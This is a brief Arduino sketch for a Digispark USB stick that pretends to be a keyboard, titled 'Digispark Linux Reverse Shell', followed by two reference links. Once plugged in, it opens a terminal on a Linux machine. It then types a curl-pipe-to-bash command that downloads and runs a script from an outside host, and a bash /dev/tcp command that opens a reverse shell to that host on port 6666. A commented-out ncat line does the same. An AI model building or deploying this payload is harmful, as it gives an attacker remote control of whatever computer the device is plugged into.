Digispark Linux Reverse Shell
#include "DigiKeyboardDe.h"
void setup()
{
pinMode(1, OUTPUT); //LED on Model A
DigiKeyboardDe.update();
DigiKeyboard.sendKeyStroke(0);
DigiKeyboardDe.delay(800);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_T, MOD_CONTROL_LEFT | MOD_ALT_LEFT);
DigiKeyboardDe.delay(250);
//DigiKeyboardDe.println("ncat free-hugs.eu 6666 -e /bin/bash &");
DigiKeyboardDe.println("curl -S https://free-hugs.eu/files/lin-pw.sh | bash");
DigiKeyboardDe.println("screen -m -d bash -c -c 'bash -i >& /dev/tcp/free-hugs.eu/6666 0>&1'");
DigiKeyboardDe.delay(100);
DigiKeyboardDe.println("exit");
}
void loop()
{
//LED blinken wenn fertig...
digitalWrite(1, HIGH);
DigiKeyboard.delay(200);
digitalWrite(1, LOW);
DigiKeyboard.delay(200);
}
Links
https://startingelectronics.org/tutorials/arduino/digispark/digispark-linux-setup/ https://github.com/fugitivus/digispark